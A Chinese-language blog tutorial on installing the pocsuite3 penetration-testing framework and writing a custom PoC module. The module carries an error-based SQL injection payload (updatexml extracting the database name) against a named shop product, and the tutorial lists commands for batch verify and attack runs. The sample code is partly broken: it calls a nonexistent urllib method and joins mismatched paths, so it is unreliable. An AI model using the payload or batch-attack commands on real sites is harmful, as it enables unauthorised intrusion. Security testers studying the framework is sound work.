目录
前言
主要还是围绕渗透测试的流程进行开发,一般在信息收集后,在渗透测试后,在发现通用型漏洞时,我们为了节省时间,可以通过写批量脚本来信息收集,然后使用poc来进行批量验证,紧接上篇我们进行批量验证后,对于我们平常在测试后,我们编写验证poc监测脚本后,需要对其进行管理,方便我们进行管理和验证,这里我们就可以用到渗透测试框架了,相信很多人在刚开始接触网安时Metasploit.是接触最多和最早的吧,永恒之蓝这个是我最有印象的,下面介绍一下国产的渗透测试开源框架.
安全开发专栏
安全开发实战http://t.csdnimg.cn/laIGy
1.pocsuite3介绍
Pocsuite3是一款开源的远程漏洞测试框架。Pocsuite3由知道创宇404实验室开发,旨在提供一个高效、灵活的平台,用于远程漏洞扫描和利用。该工具自2015年开源以来,经过不断的更新和迭代,已成为安全研究人员和渗透测试人员的重要工具.下面是两篇对Pocsuite3详细利用的介绍文章,如果需要进一步使用的朋友可以看下面的两篇文章,本篇文章金介绍对框架的二开.
工具| PocSuite 使用介绍 - FreeBuf网络安全行业门户https://www.freebuf.com/articles/people/162868.html
PocSuite3:一款开源远程漏洞测试框架 - FreeBuf网络安全行业门户https://www.freebuf.com/sectool/202210.html
2.下载和配置
2.1.如何下载
点击下面的链接打开网站,然后下面的两种地方下载都可以进行下载,或者使用Git进行下载也可以.
knownsec/pocsuite3https://github.com/knownsec/pocsuite3
2.2.安装第三方库
下载好zip包后解压到自己使用的工具目录中,然后进行下面的操作
cd D:\Hack-Tools\Hack-tools\pocsuite
然后耐心等待,这里我是用的指定其他的库的镜像地址进行下载的,源库都是国外的比较慢,而且很容易出错.
pip install -r requirements.txt -i https://pypi.doubanio.com/simple/
安装完依赖后输入下面的命令就可以正常使用了
python3 setup.py install
2.3.工具内置的可以扫描的漏洞
在工具的 pocsuite\pocsuite3\pocs目录下
3.进行二开
1.二开介绍
首先我们知道我们要做什么,框架是知道创宇公司开发的,并且用工作室进行完善,我们作为使用者来说,对于我们要做的是将一些新出的漏洞的poc或是exp添加到这个框架中,丰富框架的漏洞扫描能力,也就是二次开发.
2.需要了解的知识
其中Pocsuite3支持verify(验证)、attack(攻击)、shell(获取交互式shell)三种模式,对与我们来说仅做验证就可以了,知道这个就可以了,然后为我们开始进行分析pocs下,随便一个编写的脚本,我们通过分析编写的脚步,然后按照框架自身的编写脚本的规范进行编写就可以了.
我们进行观察几个脚本后可以发现,其中每个脚本中几乎都有这几个函数,分别是verify(验证)、attack(攻击)、shell(获取交互式shell)三种模式的,而我们仅需要验证的话,直接分析这个函数是如何编写的,然后写重新写一个脚本,然后将验证部分按照规范进行编写就可以了.
系统会根据用户编写的检测代码对漏洞进行检测,设置判断条件后,如果判断条件为真,则使用result['VerifyInfo'] = {}返回判断结果为真,并且使用result['VerifyInfo']['URL'] = self.url返回向返回结果中输出特定的值。最后程序在运行return self.parse_output(result)结果输出代码的时候,如果存在result['VerifyInfo'] = {}则返回 success,如果不存在则判断为 faild
def _verify(self):
result = {}
target = self.url
#your verify code
if 判断条件:
result['VerifyInfo'] = {} # 标识为成功
result['VerifyInfo']['URL'] = self.url #返回到结果中的url
pass
return self.parse_output(result) # 返回结果
3.poc编写
熟悉上一篇文章的朋友,知道上一篇文章中,针对狮子鱼这个sql注入漏洞编写了批量监测脚本,现在安装这个框架的编写规范将其整合到这个框架中,进行归纳和整理,需要对python还是要有一定的编写能力的,但是熟悉的话不是很难,注意规范就可以了,一些需要知道和写的都在注释中,自行学习即可.
# -*- coding:utf-8 -*-
import itertools
import queue
import socket
import telnetlib
from urllib import request
from pocsuite3.api import POCBase, Output, register_poc, logger, POC_CATEGORY, VUL_TYPE
from pocsuite3.lib.core.data import paths
from pocsuite3.lib.core.threads import run_threads
class DemoPOC(POCBase):
vulID = '0' # 如果是提交漏洞的同时提交PoC,则写出0
version = "1" # 版本
author = "小鱼" # 作者名称,替换为实际作者
vulDate = '2024-05-29' # 漏洞公开时间,如果未知可以写当前日期
createDate = '2024-05-29' # 编写POC时间
updateDate = '2024-05-29' # 更新POC时间
references = [] # 漏洞地址来源,0day不用写
name = 'SQL注入漏洞POC' # POC名称
appPowerLink = 'xxxxxx' # 漏洞厂商的主页地址,替换为实际地址
appName = 'xxxxxx' # 漏洞应用名称,替换为实际应用
appVersion = '1.0' # 漏洞影响版本,替换为实际版本
vulType = 'SQL Injection' # 漏洞类型
desc = """
该POC用于检测SQL注入漏洞。
""" # 漏洞简要描述
samples = [] # 测试样例,使用POC测试成功的网站
install_requires = []
def _verify(self):
'''verify mode'''
result = {}
payload = "/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)"
path = "/?name="
url = self.url + path
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
response = request.get(url=url + payload, headers=headers, verify=False, timeout=10)
print("正在测试:", url)
if "syntax" in response.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Payload'] = payload
except Exception as e:
print("请求失败:", str(e))
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Target is not vulnerable.')
return output
# 注册poc
register_poc(DemoPOC)
将编写的二开脚本放到,pocs目录下进行自行安装编号或是字定义的名称进行命名即可,方便自己使用就可以了.
4.pocsuite3常见的使用命令
1、verify 模式:验证目标是否存在漏洞
pocsuite -r tests/poc_example.py -u http://www.example.com/ --verify
2、attack 模式:向目标发起有效的攻击
pocsuite -r tests/poc_example.py -u http://www.example.com/ --attack
3、批量验证,将url写到一个txt
pocsuite -r test/poc_example.py -f url.txt --verify
4、加载 tests 目录下的所有 PoC 对目标进行测试(可以充当扫描器角色)
pocsuite -r tests/ -u http://www.example.com --verify
5、使用多线程,默认线程数为1
pocsuite -r test/ -f url.txt --verify --threads 10
5.总结
针对渗透测试框架进行了一定的了解,方便自己对自己碰到以及最近爆出的poc或是cve漏洞有一个可以进行归纳和整理的漏扫框架,可以对自己在渗透测试过程中的进一步利用和检测节省了一定的时间.